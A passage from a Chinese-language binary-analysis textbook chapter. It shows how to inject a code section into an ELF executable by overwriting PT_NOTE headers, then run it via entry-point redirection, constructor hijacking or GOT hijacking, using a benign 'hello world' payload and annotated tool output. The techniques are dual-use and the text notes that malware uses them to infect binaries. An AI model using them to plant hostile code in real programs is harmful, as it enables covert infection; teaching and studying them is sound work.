这里需要注意的关键点是在启动heapoverflow程序时定义LD_PRELOAD环境变量 ➊。这会导致链接器预加载指定的库,heapcheck.so,该库包含修改过的mallocfreestrcpy函数。请注意,LD_PRELOAD中给出的路径需要是绝对路径。如果使用相对路径,动态链接器将无法找到该库,预加载也将无法进行。

heapoverflow程序的参数与清单 7-8 中的相同:一个 13 字节的缓冲区和一个 100 字节的字符串。如你所见,现在堆溢出不再导致崩溃。修改后的strcpy成功检测到了不安全的拷贝,打印了错误信息,并安全地中止了程序 ➋,使得攻击者无法利用这个漏洞。

如果仔细查看heapoverflow程序的 Makefile,你会注意到我使用了gcc-fno-builtin标志来构建程序。对于像malloc这样的基本函数,gcc有时会使用内建版本,将其静态链接到编译后的程序中。在这种情况下,我使用-fno-builtin确保不会发生这种情况,因为静态链接的函数不能通过LD_PRELOAD进行覆盖。

7.3 注入代码段

到目前为止,你学到的二进制修改技术在适用性上相对有限。十六进制编辑对于小范围的修改很有用,但你无法添加太多(如果有的话)新代码或数据。LD_PRELOAD允许你轻松添加新代码,但它只能用于修改库函数调用。在深入探讨第九章中更灵活的二进制修改技术之前,让我们先来了解如何将一个全新的代码段注入到 ELF 二进制文件中;这个相对简单的技巧比前面讨论的那些方法更灵活。

在虚拟机上,有一个完整的工具叫做elfinject,它实现了这种代码注入技术。由于elfinject的源代码比较长,我在这里不打算详细讲解,但如果你感兴趣,可以在附录 B 中找到关于elfinject实现的说明。附录还介绍了libelf,这是一个流行的开源库,用于解析 ELF 二进制文件。虽然理解本书剩余部分时不需要了解libelf,但在实现你自己的二进制分析工具时,它会非常有用,所以我鼓励你阅读附录 B。

在本节中,我将为你提供一个高层次的概述,解释代码段注入技术的主要步骤。接下来,我将向你展示如何使用虚拟机上提供的elfinject工具,将代码段注入到 ELF 二进制文件中。

7.3.1 注入 ELF 段:高层次概述

图 7-2 展示了将新代码段注入 ELF 所需的主要步骤。图的左侧展示了原始(未修改)ELF 文件,而右侧则展示了添加了新段后的修改文件,新的代码段被称为.injected

要向 ELF 二进制文件添加新段,首先需要注入该段所包含的字节(在图 7-2 中的步骤➊),将其附加到二进制文件的末尾。接着,你需要为注入的段创建一个段头 ➋ 和一个程序头 ➌。

正如你可能记得的第二章,程序头表通常位于可执行文件头之后➍。因此,添加一个额外的程序头会使后面的所有段和头部发生偏移。为了避免复杂的偏移操作,你可以简单地覆盖一个现有的程序头,而不是添加一个新的程序头,如图 7-2 所示。这正是elfinject所实现的,你也可以应用相同的头部覆盖技巧,以避免向二进制文件中添加新的段头。^(2)

image

图 7-2:将 .note.ABI-tag 替换为注入的代码段

覆盖 PT_NOTE 段

如你刚才所见,覆盖现有的段头和程序头比添加全新的更为容易。但你如何知道哪些头部可以安全地覆盖,而不会破坏二进制文件呢?一个你可以始终安全覆盖的程序头是PT_NOTE头,它描述了PT_NOTE段。

PT_NOTE段包含有关二进制文件的辅助信息。例如,它可能会告诉你这是一个 GNU/Linux 二进制文件、该二进制文件期望的内核版本等等。特别是在虚拟机中的/bin/ls可执行文件中,PT_NOTE段包含了两个部分的信息,分别是.note.ABI-tag.note.gnu.build-id。如果这些信息缺失,加载器会默认认为这是一个本地二进制文件,因此可以安全地覆盖PT_NOTE头,而不必担心破坏二进制文件。这个技巧通常被恶意软件用来感染二进制文件,但它也可以用于无害的修改。

现在,让我们考虑图 7-2 中步骤➋所需的更改,你需要覆盖其中一个.note.*段头,将其转变为新代码段(.injected)的头。我将(任意地)选择覆盖.note.ABI-tag段的头部。正如你在图 7-2 中看到的,我将sh_typeSHT_NOTE更改为SHT_PROGBITS,以表示该头部现在描述的是代码段。此外,我将sh_addrsh_offsetsh_size字段更改为描述新.injected段的位置和大小,而不是已经过时的.note.ABI-tag段。最后,我将段对齐(sh_addralign)更改为 16 字节,以确保代码在加载到内存时能够正确对齐,并且我将SHF_EXECINSTR标志添加到sh_flags字段中,将该段标记为可执行的。

步骤➌的更改类似,不过在这里,我更改的是PT_NOTE程序头,而不是段头。同样,我通过将p_type设置为PT_LOAD来更改头类型,以指示该头现在描述的是一个可加载的段,而不是PT_NOTE段。这使得加载器在程序启动时将该段(包括新的.injected段)加载到内存中。我还更改了所需的地址、偏移量和大小字段:p_offsetp_vaddr(以及p_paddr,未显示)、p_fileszp_memsz。我将p_flags设置为标记该段为可读且可执行,而不仅仅是可读,并且修正了对齐(p_align)。

虽然图 7-2 中没有显示,但最好也更新字符串表,将旧的.note.ABI-tag段的名称更改为像.injected这样的名称,以反映新代码段的添加。我在附录 B 中详细讨论了这个步骤。

重定向 ELF 入口点

图 7-2 中的步骤➍是可选的。在这个步骤中,我更改了 ELF 可执行文件头中的e_entry字段,使其指向新的.injected段中的一个地址,而不是指向通常位于.text中的原始入口点。只有当你希望.injected段中的某些代码在程序开始时运行时,你才需要这样做。否则,你可以保持入口点不变,不过在这种情况下,新的注入代码永远不会执行,除非你通过重定向原始.text段中的某些调用到注入代码、将一些注入代码用作构造函数,或者使用其他方法来调用注入的代码。我将在第 7.4 节中讨论更多调用注入代码的方法。

7.3.2 使用 elfinject 注入 ELF 段

为了更具体地了解PT_NOTE注入技术,让我们看看如何使用虚拟机中提供的elfinject工具。清单 7-11 展示了如何使用elfinject将代码段注入到二进制文件中。

清单 7-11: elfinject 使用方法

➊ $ ls hello.bin
   hello.bin
➋ $ ./elfinject
   Usage: ./elfinject <elf> <inject> <name> <addr> <entry>

   Inject the file <inject> into the given <elf>, using
   the given <name> and base <addr>. You can optionally specify
   an offset to a new <entry> point (-1 if none)
➌ $ cp /bin/ls .
➍ $ ./ls

 elfinject elfinject.c hello.s     hello.bin   ls   Makefile
   $ readelf --wide --headers ls
   ...

   Section Headers:
     [Nr] Name              Type            Address          Off    Size   ES  Flg Lk Inf Al
     [ 0]                   NULL            0000000000000000 000000 000000 00       0   0  0
     [ 1] .interp           PROGBITS        0000000000400238 000238 00001c 00    A  0   0  1
     [ 2] ➎.note.ABI-tag     NOTE           0000000000400254 000254 000020 00    A  0   0  4
     [ 3] .note.gnu.build-id NOTE           0000000000400274 000274 000024 00    A  0   0  4
     [ 4] .gnu.hash         GNU_HASH        0000000000400298 000298 0000c0 00    A  5   0  8
     [ 5] .dynsym           DYNSYM          0000000000400358 000358 000cd8 18    A  6   1  8
     [ 6] .dynstr           STRTAB          0000000000401030 001030 0005dc 00    A  0   0  1
     [ 7] .gnu.version      VERSYM          000000000040160c 00160c 000112 02    A  5   0  2
     [ 8] .gnu.version_r    VERNEED         0000000000401720 001720 000070 00    A  6   1  8
     [ 9] .rela.dyn         RELA            0000000000401790 001790 0000a8 18    A  5   0  8
     [10] .rela.plt         RELA            0000000000401838 001838 000a80 18   AI  5  24  8
     [11] .init             PROGBITS        00000000004022b8 0022b8 00001a 00   AX  0   0  4
     [12] .plt              PROGBITS        00000000004022e0 0022e0 000710 10   AX  0   0 16
     [13] .plt.got          PROGBITS        00000000004029f0 0029f0 000008 00   AX  0   0  8
     [14] .text             PROGBITS        0000000000402a00 002a00 011259 00   AX  0   0 16
     [15] .fini             PROGBITS        0000000000413c5c 013c5c 000009 00   AX  0   0  4
     [16] .rodata           PROGBITS        0000000000413c80 013c80 006974 00    A  0   0 32
     [17] .eh_frame_hdr     PROGBITS        000000000041a5f4 01a5f4 000804 00    A  0   0  4
     [18] .eh_frame         PROGBITS        000000000041adf8 01adf8 002c6c 00    A  0   0  8
     [19] .init_array       INIT_ARRAY      000000000061de00 01de00 000008 00   WA  0   0  8
     [20] .fini_array       FINI_ARRAY      000000000061de08 01de08 000008 00   WA  0   0  8
     [21] .jcr              PROGBITS        000000000061de10 01de10 000008 00   WA  0   0  8
     [22] .dynamic          DYNAMIC         000000000061de18 01de18 0001e0 10   WA  6   0  8
     [23] .got              PROGBITS        000000000061dff8 01dff8 000008 08   WA  0   0  8
     [24] .got.plt          PROGBITS        000000000061e000 01e000 000398 08   WA  0   0  8
     [25] .data             PROGBITS        000000000061e3a0 01e3a0 000260 00   WA  0   0 32
     [26] .bss              NOBITS          000000000061e600 01e600 000d68 00   WA  0   0 32
     [27] .gnu_debuglink    PROGBITS        0000000000000000 01e600 000034 00       0   0  1
     [28] .shstrtab         STRTAB          0000000000000000 01e634 000102 00       0   0  1
   Key to Flags:
     W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
     I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
     O (extra OS processing required) o (OS specific), p (processor specific)

   Program Headers:
     Type           Offset     VirtAddr             PhysAddr             FileSiz    MemSiz   Flg Align
     PHDR           0x000040   0x0000000000400040   0x0000000000400040   0x0001f8   0x0001f8 R E 0x8
     INTERP         0x000238   0x0000000000400238   0x0000000000400238   0x00001c   0x00001c R   0x1
         [Requesting program   interpreter: /lib64/ld-linux-x86-64.so.2]
     LOAD           0x000000   0x0000000000400000   0x0000000000400000   0x01da64   0x01da64 R E 0x200000
     LOAD           0x01de00   0x000000000061de00   0x000000000061de00   0x000800   0x001568 RW  0x200000
 DYNAMIC        0x01de18   0x000000000061de18   0x000000000061de18   0x0001e0   0x0001e0 RW  0x8
➏   NOTE           0x000254   0x0000000000400254   0x0000000000400254   0x000044   0x000044  R   0x4
     GNU_EH_FRAME   0x01a5f4   0x000000000041a5f4   0x000000000041a5f4   0x000804   0x000804  R   0x4
     GNU_STACK      0x000000   0x0000000000000000   0x0000000000000000   0x000000   0x000000  RW  0x10
     GNU_RELRO      0x01de00   0x000000000061de00   0x000000000061de00   0x000200   0x000200  R   0x1

   Section to Segment mapping:
    Segment Sections...
      00
      01    .interp
      02    .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version
            .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text .fini .rodata
             .eh_frame_hdr .eh_frame
      03    .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
      04    .dynamic
      05    .note.ABI-tag .note.gnu.build-id
      06    .eh_frame_hdr
      07
      08    .init_array .fini_array .jcr .dynamic .got
➐  $ ./elfinject ls hello.bin ".injected" 0x800000 0
    $ readelf --wide --headers ls
    ...

    Section Headers:
      [Nr] Name              Type             Address          Off    Size   ES Flg Lk Inf Al
      [ 0]                   NULL             0000000000000000 000000 000000 00      0   0   0
      [ 1] .interp           PROGBITS         0000000000400238 000238 00001c 00   A  0   0   1
      [ 2] .init             PROGBITS         00000000004022b8 0022b8 00001a 00  AX  0   0   4
      [ 3] .note.gnu.build-id NOTE             0000000000400274 000274 000024 00   A  0   0   4
      [ 4] .gnu.hash         GNU_HASH         0000000000400298 000298 0000c0 00   A  5   0   8
      [ 5] .dynsym           DYNSYM           0000000000400358 000358 000cd8 18   A  6   1   8
      [ 6] .dynstr           STRTAB           0000000000401030 001030 0005dc 00   A  0   0   1
      [ 7] .gnu.version      VERSYM           000000000040160c 00160c 000112 02   A  5   0   2
      [ 8] .gnu.version_r    VERNEED          0000000000401720 001720 000070 00   A  6   1   8
      [ 9] .rela.dyn         RELA             0000000000401790 001790 0000a8 18   A  5   0   8
      [10] .rela.plt         RELA             0000000000401838 001838 000a80 18  AI  5  24   8
      [11] .plt              PROGBITS         00000000004022e0 0022e0 000710 10  AX  0   0   16
      [12] .plt.got          PROGBITS         00000000004029f0 0029f0 000008 00  AX  0   0   8
      [13] .text             PROGBITS         0000000000402a00 002a00 011259 00  AX  0   0   16
      [14] .fini             PROGBITS         0000000000413c5c 013c5c 000009 00  AX  0   0   4
      [15] .rodata           PROGBITS         0000000000413c80 013c80 006974 00   A  0   0   32
      [16] .eh_frame_hdr     PROGBITS         000000000041a5f4 01a5f4 000804 00   A  0   0   4
      [17] .eh_frame         PROGBITS         000000000041adf8 01adf8 002c6c 00   A  0   0   8
      [18] .jcr              PROGBITS         000000000061de10 01de10 000008 00  WA  0   0   8
      [19] .init_array       INIT_ARRAY       000000000061de00 01de00 000008 00  WA  0   0   8
      [20] .fini_array       FINI_ARRAY       000000000061de08 01de08 000008 00  WA  0   0   8
      [21] .got              PROGBITS         000000000061dff8 01dff8 000008 08  WA  0   0   8
 [22] .dynamic          DYNAMIC          000000000061de18 01de18 0001e0 10  WA  6   0   8
      [23] .got.plt          PROGBITS         000000000061e000 01e000 000398 08  WA  0   0   8
      [24] .data             PROGBITS         000000000061e3a0 01e3a0 000260 00  WA  0   0  32
      [25] .gnu_debuglink    PROGBITS         0000000000000000 01e600 000034 00      0   0   1
      [26] .bss              NOBITS           000000000061e600 01e600 000d68 00  WA  0   0  32
      [27] ➑.injected        PROGBITS         0000000000800e78 01f000 00003f 00  AX  0   0  16
      [28] .shstrtab         STRTAB           0000000000000000 01e634 000102 00      0   0   1
   Key to Flags:
     W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
     I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
     O (extra OS processing required) o (OS specific), p (processor specific)

   Program Headers:
   Type           Offset      VirtAddr           PhysAddr           FileSiz    MemSiz     Flg   Align
   PHDR           0x000040    0x0000000000400040 0x0000000000400040 0x0001f8   0x0001f8   R E   0x8
   INTERP         0x000238    0x0000000000400238 0x0000000000400238 0x00001c   0x00001c   R     0x1
       [Requesting program    interpreter: /lib64/ld-linux-x86-64.so.2]
   LOAD           0x000000    0x0000000000400000 0x0000000000400000 0x01da64   0x01da64   R E   0x200000
   LOAD           0x01de00    0x000000000061de00 0x000000000061de00 0x000800   0x001568   RW    0x200000
   DYNAMIC        0x01de18    0x000000000061de18 0x000000000061de18 0x0001e0   0x0001e0   RW    0x8
➒ LOAD            0x01ee78   0x0000000000800e78 0x0000000000800e78 0x00003f   0x00003f   R E   0x1000
   GNU_EH_FRAME   0x01a5f4    0x000000000041a5f4 0x000000000041a5f4 0x000804   0x000804   R     0x4
   GNU_STACK      0x000000    0x0000000000000000 0x0000000000000000 0x000000   0x000000   RW    0x10
   GNU_RELRO      0x01de00    0x000000000061de00 0x000000000061de00 0x000200   0x000200   R     0x1

   Section to Segment mapping:
    Segment Sections...
     00
     01     .interp
     02     .interp .init .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version
            .gnu.version_r .rela.dyn .rela.plt .plt .plt.got .text .fini .rodata
            .eh_frame_hdr .eh_frame
     03     .jcr .init_array .fini_array .got .dynamic .got.plt .data .bss
     04     .dynamic
     05     .injected
     06     .eh_frame_hdr
     07
     08     .jcr .init_array .fini_array .got .dynamic
➓  $ ./ls
   hello world!
   elfinject elfinject.c hello.s hello.bin ls Makefile

在本章关于虚拟机的代码文件夹中,你会看到一个名为hello.bin ➊的文件,其中包含了你将以原始二进制形式注入的新代码(没有任何 ELF 头)。正如你稍后将看到的,这段代码会打印一个hello world!消息,然后将控制权转交给主机二进制文件的原始入口点,继续正常执行二进制文件。如果你有兴趣,你可以在名为hello.s的文件中找到注入代码的汇编指令,或者在第 7.4 节中找到。

现在让我们来看一下elfinject的用法➋。如你所见,elfinject需要五个参数:一个主机二进制文件的路径,一个注入文件的路径,注入部分的名称和地址,以及注入代码的入口点偏移(如果没有入口点,则为−1)。注入文件hello.bin被注入到主机二进制文件中,使用给定的名称、地址和入口点。

我在这个示例中使用了/bin/ls的副本作为主机二进制文件➌。如你所见,ls在注入前正常工作,打印当前目录的文件列表➍。你可以使用readelf看到该二进制文件包含一个.note.ABI-tag部分➎和一个PT_NOTE段➏,这些将在注入时被覆盖。

现在,是时候注入一些代码了。在这个示例中,我使用elfinjecthello.bin文件注入到ls二进制文件中,使用.injected作为注入部分的名称,0x800000作为加载地址(elfinject会将其附加到二进制文件的末尾)➐。我使用0作为入口点,因为hello.bin的入口点就在其开头。

elfinject成功完成后,readelf显示ls二进制文件现在包含一个名为.injected的代码部分➑,以及一个类型为PT_LOAD的新的可执行段➒,该段包含了这个代码部分。此外,.note.ABI-tag部分和PT_NOTE段已经消失,因为它们被覆盖了。看起来注入成功了!

现在,让我们检查一下注入的代码是否按预期运行。执行修改后的ls二进制文件➓,你可以看到该二进制文件现在在启动时运行注入的代码,打印出hello world!消息。然后,注入的代码将执行权交给二进制文件的原始入口点,以便恢复正常的行为,即打印目录列表。

7.4 调用注入的代码

在上一节中,你学习了如何使用elfinject将一个新的代码部分注入到现有的二进制文件中。为了让新的代码执行,你修改了 ELF 入口点,使得加载器将控制权交给二进制文件时,新的代码能够立即运行。但有时,你可能并不希望在二进制文件启动时立即使用注入的代码。有时,你希望出于不同的原因使用注入的代码,比如替换现有函数。

在本节中,我将讨论一些将控制权转交给注入代码的替代技术,而不仅仅是修改 ELF 入口点。我还将回顾一下 ELF 入口点修改技术,这次仅使用十六进制编辑器来更改入口点。这将使你能够将入口点重定向到不仅是通过elfinject注入的代码,还包括通过其他方式插入的代码,例如通过覆盖死代码(如填充指令)。请注意,本节讨论的所有技术都适用于任何代码注入方法,而不仅仅是PT_NOTE覆盖。

7.4.1 入口点修改

首先,让我们简要回顾一下 ELF 入口点修改技术。在下面的示例中,我将通过elfinject转移控制权到注入的代码部分,但我不会使用elfinject更新入口点本身,而是使用十六进制编辑器。这将向你展示如何将此技术泛化到各种方式注入的代码。

清单 7-12 展示了我将注入的代码的汇编指令。它是上一节中使用的“hello world”示例。

清单 7-12: hello.s

➊ BITS 64

  SECTION .text
  global main

  main:
➋   push   rax                 ; save all clobbered registers
     push   rcx                ; (rcx and r11 destroyed by kernel)
     push   rdx
     push   rsi
     push   rdi
     push   r11

➌    mov rax,1                 ;   sys_write
     mov rdi,1                 ;   stdout
     lea rsi,[rel $+hello-$]   ;   hello
     mov rdx,[rel $+len-$]     ;   len
➍   syscall

➎   pop   r11
     pop   rdi
     pop   rsi
     pop   rdx
     pop   rcx
     pop   rax

➏    push 0x4049a0             ; jump to original entry point
     ret

➐ hello: db "hello world",33,10
➑ len  : dd 13

该代码采用 Intel 语法,旨在使用nasm汇编器在 64 位模式下进行汇编 ➊。前几条汇编指令通过将raxrcxrdxrsirdi寄存器推入栈中来保存它们 ➋。这些寄存器可能会被内核覆盖,你会希望在注入代码完成后恢复它们的原始值,以免干扰其他代码。

接下来的指令为sys_write系统调用设置参数 ➌,该调用将把hello world!打印到屏幕上。(你可以在syscall man页面找到所有标准 Linux 系统调用号和参数的更多信息。)对于sys_write,系统调用号(放在rax中)是 1,且有三个参数:要写入的文件描述符(stdout为 1)、指向要打印的字符串的指针和字符串的长度。现在,所有参数都已准备好,syscall指令 ➍执行实际的系统调用,打印字符串。

在调用sys_write系统调用后,代码恢复寄存器到先前保存的状态 ➎。然后,它将原始入口点的地址0x4049a0(我通过readelf找到的,如你将看到的那样)推送到栈上,并返回到该地址,开始执行原始程序 ➏。

“hello world”字符串 ➐ 在汇编指令后声明,并附带一个包含字符串长度的整数 ➑,它们都用于sys_write系统调用。

为了使代码适合注入,你需要将它汇编成一个原始二进制文件,该文件只包含汇编指令和数据的二进制编码。这是因为你不想创建一个包含头部和其他不需要的开销的完整 ELF 二进制文件。要将hello.s汇编成原始二进制文件,可以使用nasm汇编器的-f bin选项,如清单 7-13 所示。本章的Makefile包含一个hello.bin目标,自动运行此命令。

清单 7-13:使用 nasm 将hello.s汇编成hello.bin*

$ nasm -f bin -o hello.bin hello.s

这会创建文件hello.bin,其中包含适合注入的原始二进制指令和数据。现在,让我们使用elfinject注入此文件,并使用十六进制编辑器重定向 ELF 入口点,使得注入的代码在二进制启动时运行。清单 7-14 展示了如何操作。

清单 7-14:通过覆盖 ELF 入口点调用注入的代码

➊ $ cp /bin/ls ls.entry
➋ $ ./elfinject ls.entry hello.bin ".injected" 0x800000 -1
   $ readelf -h ./ls.entry
   ELF Header:
     Magic:    7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
     Class:                              ELF64
     Data:                               2's complement, little endian
     Version:                            1 (current)
     OS/ABI:                             UNIX - System V
     ABI Version:                        0
     Type:                               EXEC (Executable file)
     Machine:                            Advanced Micro Devices X86-64
     Version:                            0x1
     Entry point address:                ➌0x4049a0
     Start of program headers:           64 (bytes into file)
     Start of section headers:           124728 (bytes into file)
     Flags:                              0x0
     Size of this header:                64 (bytes)
     Size of program headers:            56 (bytes)
     Number of program headers:          9
     Size of section headers:            64 (bytes)
     Number of section headers:          29
     Section header string table index:  28
   $ readelf --wide -S code/chapter7/ls.entry
   There are 29 section headers, starting at offset 0x1e738:

   Section Headers:
     [Nr] Name               Type            Address          Off   Size ES Flg Lk Inf Al
     ...
     [27] .injected          PROGBITS        ➍0000000000800e78 01ee78 00003f 00 AX 0 0 16
     ...
➎ $ ./ls.entry
   elfinject elfinject.c hello.s hello.bin ls Makefile
➏ $ hexedit ./ls.entry
   $ readelf -h ./ls.entry
   ELF Header:
     Magic:    7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
     Class:                              ELF64
     Data:                               2's complement, little endian
     Version:                            1 (current)
     OS/ABI:                             UNIX - System V
     ABI Version:                        0
     Type:                               EXEC (Executable file)
     Machine:                            Advanced Micro Devices X86-64
     Version:                            0x1
     Entry point address:                ➐0x800e78
     Start of program headers:           64 (bytes into file)
     Start of section headers:           124728 (bytes into file)
     Flags:                              0x0
     Size of this header:                64 (bytes)
     Size of program headers:            56 (bytes)
     Number of program headers:          9
     Size of section headers:            64 (bytes)
     Number of section headers:          29
     Section header string table index:  28
➑ $ ./ls.entry
   hello world!
   elfinject elfinject.c hello.s hello.bin ls Makefile

首先,将/bin/ls二进制文件复制到ls.entry中 ➊。这将作为注入程序的宿主二进制文件。然后,你可以使用elfinject将刚刚准备好的代码注入二进制文件,加载地址为0x800000 ➋,正如在第 7.3.2 节中讨论的那样,唯一的关键区别是:将最后一个elfinject参数设置为-1,这样elfinject就不会修改入口点(因为你将手动覆盖它)。

使用readelf,你可以看到二进制文件的原始入口点:0x4049a0 ➌。注意,这是注入的代码在打印hello world信息后跳转到的地址,如清单 7-12 所示。你还可以使用readelf看到注入的部分实际上是从地址0x800e78 ➍开始的,而不是地址0x800000。这是因为elfinject略微更改了地址,以满足 ELF 格式的对齐要求,正如我在附录 B 中更详细地讨论的那样。这里需要注意的是,0x800e78是你要用来覆盖入口点地址的新地址。

因为入口点仍然未被修改,如果现在运行ls.entry,它的行为就像正常的ls命令,只是没有添加开头的“hello world”信息 ➎。要修改入口点,打开ls.entry二进制文件,使用hexedit ➏并搜索原始入口点地址。记住,你可以在hexedit中使用/键打开搜索对话框,然后输入要搜索的地址。地址是以小端格式存储的,因此你需要搜索字节a04940而不是4049a0。找到入口点后,用新的入口点地址覆盖它,同样需要反转字节顺序:780e80。然后,按 CTRL-X 退出,并按 Y 保存更改。

现在,你可以使用readelf看到入口点已更新为0x800e78 ➐,指向注入代码的起始位置。现在,当你运行ls.entry时,它会在显示目录列表之前先打印hello world ➑。你已经成功地覆盖了入口点!

7.4.2 劫持构造函数和析构函数

现在,让我们看一下另一种确保注入的代码在二进制程序生命周期内运行一次的方法,无论是在执行开始时还是结束时。回顾第二章,使用gcc编译的 x86 ELF 二进制文件包含名为.init_array.fini_array的部分,它们分别包含构造函数和析构函数的指针。通过覆盖其中一个指针,你可以使注入的代码在二进制文件的main函数之前或之后被调用,具体取决于你是覆盖构造函数指针还是析构函数指针。

当然,在注入的代码完成后,你需要将控制权转回你劫持的构造函数或析构函数。这需要对注入的代码进行一些小的修改,如清单 7-15 所示。在这个清单中,我假设你将控制权传回一个特定的构造函数,其地址可以通过objdump查找。

清单 7-15: hello-ctor.s

   BITS 64

   SECTION .text
   global main

   main:
     push   rax                 ; save all clobbered registers
     push   rcx                 ; (rcx and r11 destroyed by kernel)
     push   rdx
     push   rsi
     push   rdi
     push   r11

     mov rax,1                  ; sys_write
     mov rdi,1                  ; stdout
     lea rsi,[rel $+hello-$]    ; hello
     mov rdx,[rel $+len-$]      ; len
     syscall

     pop   r11
     pop   rdi
     pop   rsi
     pop   rdx
     pop   rcx
     pop   rax

➊  push 0x404a70               ; jump to original constructor
    ret

   hello: db "hello world",33,10
   len : dd 13

清单 7-15 中显示的代码与清单 7-12 中的代码相同,唯一不同的是我插入了劫持的构造函数的地址,以便返回到➊,而不是入口点地址。将代码组装成原始二进制文件的命令与上一节中讨论的相同。清单 7-16 展示了如何将代码注入到二进制文件并劫持构造函数。

清单 7-16: 通过劫持构造函数调用注入的代码

➊   $ cp /bin/ls ls.ctor
➋   $ ./elfinject ls.ctor hello-ctor.bin ".injected" 0x800000 -1
    $ readelf --wide -S ls.ctor
    There are 29 section headers, starting at offset 0x1e738:
 Section Headers:
    [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
    [ 0]                   NULL            0000000000000000 000000 000000 00     0   0   0
    [ 1] .interp           PROGBITS        0000000000400238 000238 00001c 00   A 0   0   1
    [ 2] .init             PROGBITS        00000000004022b8 0022b8 00001a 00  AX 0   0   4
    [ 3] .note.gnu.build-id NOTE           0000000000400274 000274 000024 00   A 0   0   4
    [ 4] .gnu.hash         GNU_HASH        0000000000400298 000298 0000c0 00   A 5   0   8
    [ 5] .dynsym           DYNSYM          0000000000400358 000358 000cd8 18   A 6   1   8
    [ 6] .dynstr           STRTAB          0000000000401030 001030 0005dc 00   A 0   0   1
    [ 7] .gnu.version      VERSYM          000000000040160c 00160c 000112 02   A 5   0   2
    [ 8] .gnu.version_r    VERNEED         0000000000401720 001720 000070 00   A 6   1   8
    [ 9] .rela.dyn         RELA            0000000000401790 001790 0000a8 18   A 5   0   8
    [10] .rela.plt         RELA            0000000000401838 001838 000a80 18  AI 5  24   8
    [11] .plt              PROGBITS        00000000004022e0 0022e0 000710 10  AX 0   0   16
    [12] .plt.got          PROGBITS        00000000004029f0 0029f0 000008 00  AX 0   0   8
    [13] .text             PROGBITS        0000000000402a00 002a00 011259 00  AX 0   0   16
    [14] .fini             PROGBITS        0000000000413c5c 013c5c 000009 00  AX 0   0   4
    [15] .rodata           PROGBITS        0000000000413c80 013c80 006974 00   A 0   0   32
    [16] .eh_frame_hdr     PROGBITS        000000000041a5f4 01a5f4 000804 00   A 0   0   4
    [17] .eh_frame         PROGBITS        000000000041adf8 01adf8 002c6c 00   A 0   0   8
    [18] .jcr              PROGBITS        000000000061de10 01de10 000008 00  WA 0   0   8
➌   [19] .init_array       INIT_ARRAY      000000000061de00 01de00 000008 00  WA 0   0   8
    [20] .fini_array       FINI_ARRAY      000000000061de08 01de08 000008 00  WA 0   0   8
    [21] .got              PROGBITS        000000000061dff8 01dff8 000008 08  WA 0   0   8
    [22] .dynamic          DYNAMIC         000000000061de18 01de18 0001e0 10  WA 6   0   8
    [23] .got.plt          PROGBITS        000000000061e000 01e000 000398 08  WA 0   0   8
    [24] .data             PROGBITS        000000000061e3a0 01e3a0 000260 00  WA 0   0   32
    [25] .gnu_debuglink    PROGBITS        0000000000000000 01e600 000034 00     0   0   1
    [26] .bss              NOBITS          000000000061e600 01e600 000d68 00  WA 0   0   32
    [27] .injected         PROGBITS        0000000000800e78 01ee78 00003f 00  AX 0   0   16
    [28] .shstrtab         STRTAB          0000000000000000 01e634 000102 00     0   0   1
  Key to Flags:
    W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
    I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
    O (extra OS processing required) o (OS specific), p (processor specific)
  $ objdump ls.ctor -s --section=.init_array

  ls:     file format elf64-x86-64

 Contents of section .init_array:
   61de00 ➍704a4000 00000000                      pJ@.....
➎ $ hexedit ls.ctor
  $ objdump ls.ctor -s --section=.init_array

  ls.ctor:     file format elf64-x86-64
  Contents of section .init_array:
    61de00 ➏780e8000 00000000                                 x.......
➐ $ ./ls.ctor
  hello world!
  elfinject elfinject.c hello.s hello.bin   ls Makefile

如之前一样,你首先复制/bin/ls ➊,并将新代码注入到副本中 ➋,而不更改入口点。使用readelf可以看到.init_array段的存在 ➌。^(3) .fini_array段也存在,但在这个例子中,我劫持的是构造函数,而不是析构函数。

你可以使用objdump查看.init_array的内容,里面显示了一个构造函数指针,值为0x404a70(以小端格式存储)➍。现在,你可以使用hexedit查找这个地址并将其更改为注入代码的入口地址0x800e78➎。

完成后,.init_array中的唯一指针将指向注入的代码,而不是原始构造函数 ➏。请记住,完成此操作后,注入的代码会将控制权返回到原始构造函数。覆盖构造函数指针后,更新后的ls二进制文件首先会显示“hello world”消息,然后像正常一样打印目录列表 ➐。通过这种技术,你可以在不修改入口点的情况下,让代码在二进制文件的启动或终止时运行一次。

7.4.3 劫持 GOT 条目

到目前为止讨论的两种技术——入口点修改和构造函数/析构函数劫持——都仅允许注入的代码在二进制文件启动时或终止时运行一次。那么,如果你想多次调用注入的函数,比如替换现有的库函数,该怎么办呢?接下来,我将展示如何劫持一个 GOT 条目,将库调用替换为注入的函数。回顾第二章,全局偏移表(GOT)是一个包含指向共享库函数的指针的表,用于动态链接。覆盖这些条目中的一个或多个,基本上可以让你获得与LD_PRELOAD技术相同的控制级别,但不需要包含新函数的外部库,从而使得二进制文件保持自包含。此外,GOT 劫持不仅适用于持久的二进制修改,而且在运行时利用二进制文件也非常合适。

GOT 劫持技术需要对注入代码进行轻微修改,如列表 7-17 所示。

列表 7-17: hello-got.s

   BITS 64

   SECTION .text
   global main

   main:
     push   rax                ; save all clobbered registers
     push   rcx                ; (rcx and r11 destroyed by kernel)
     push   rdx
     push   rsi
     push   rdi
     push   r11

     mov rax,1                 ; sys_write
     mov rdi,1                 ; stdout
     lea rsi,[rel $+hello-$]   ; hello
     mov rdx,[rel $+len-$]     ; len
     syscall

     pop   r11
     pop   rdi
     pop   rsi
     pop   rdx
     pop   rcx
     pop   rax

➊   ret                       ; return

   hello: db "hello world",33,10
   len : dd 13

通过 GOT 劫持,你完全替换了一个库函数,因此注入代码完成后无需将控制权转回原始实现。因此,列表 7-17 中没有包含任何硬编码的地址来转移控制。相反,它只是以正常的返回结束 ➊。

